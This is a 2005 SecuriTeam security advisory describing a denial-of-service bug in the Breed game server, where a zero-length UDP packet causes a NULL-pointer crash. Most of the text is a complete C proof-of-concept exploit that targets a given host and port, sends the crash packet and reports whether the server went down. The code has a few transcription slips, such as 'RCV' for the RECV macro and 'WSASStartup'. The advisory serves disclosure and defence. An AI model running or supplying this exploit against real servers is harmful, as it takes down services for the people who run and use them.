

# [NT] Breed Malfored UDP DoS

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0074.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 01/17/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 17 Jan 2005 14:06:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Breed Malfored UDP DoS

---

## SUMMARY

Breed is "a game developed by <<http://www.brat-designs.com>> Brat Designs using their Mercury engine". A vulnerability in Breed allows a remote attacker to cause the server to crash by sending a malformed packet.

## DETAILS

The Breed game server can be easily crashed through the sending of an empty UDP packet. In fact if the packet size is equal to zero, the game passes a NULL pointer to the function used to parse the packet's content.

Exploit:

/\*

by Luigi Auriemma – <http://aluiigi.altervista.org/poc/breedzero.zip>

\*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
```

## Securiteam: [NT] Breed Malfored UDP DoS

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define PORT 7649
#define TIMEOUT 3

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr
*)&peer, sizeof(peer)) \
    < 0) std_err();
#define RECV if(timeout(sd) < 0) { \
    fputs("\n" \
        "Error: socket timeout, no reply received\n" \
        "\n", stdout); \
    exit(1); \
} \
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
if(len < 0) std_err();

void show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
        len;
    u_short port = PORT;
    u_char *buff,
        query[] =
            "\xfe\xfd\x00\x00\x00\x00\xff\x00\x00";

    setbuf(stdout, NULL);
```

## Securiteam: [NT] Breed Malfored UDP DoS

```
fputs("\n"
      "Breed <= patch #1 zero-length crash "VER"\n"
      "by Luigi Auriemma\n"
      "e-mail: aluigi@autistici.org\n"
      "web: http://aluigi.altervista.org\n"
      "\n", stdout);

if(argc < 2) {
    printf("\n"
          "Usage: %s <host> [port(%d)]\n"
          "\n", argv[0], port);
    exit(1);
}

#ifdef WIN32
    WSADATA wsadata;
    WSASStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
       inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

buff = malloc(BUFFSZ + 1);
if(!buff) std_err();

fputs("- request informations:\n", stdout);
*(u_long*)(query + 3) = time(NULL) ^ 0x12345678;
SEND(query);
RCV;
show_info(buff, len);

fputs("- send zero-length packet\n", stdout);
SEND("");

sleep(ONESEC);

fputs("- check server:\n", stdout);
*(u_long*)(query + 3) = time(NULL) ^ 0x87654321;
SEND(query);
if(timeout(sd) < 0) {
    fputs("\nServer IS vulnerable!!!\n", stdout);
} else {
```

## Securiteam: [NT] Breed Malfored UDP DoS

```
    fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}

close(sd);
return(0);
}

void show_info(u_char *data, int len) {
    u_char *p,
        *limit;
    int nt = 0;

    limit = data + len;
    data += 5;
    while(data < limit) {
        p = strchr(data, 0x00);
        if(!p) break;
        *p = 0x00;

        if(!nt) {
            if(data == p) break;
            printf("%30s: ", data);
            nt++;
        } else {
            printf("%s\n", data);
            nt = 0;
        }
        data = p + 1;
    }
    fputc('\n', stdout);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;
```

Securiteam: [NT] Breed Malfored UDP DoS

```
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
    hp = gethostbyname(host);
    if(!hp) {
        printf("\nError: Unable to resolv hostname (%s)\n", host);
        exit(1);
    } else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/breedzero-adv.txt>>

<http://aluigi.altervista.org/adv/breedzero-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.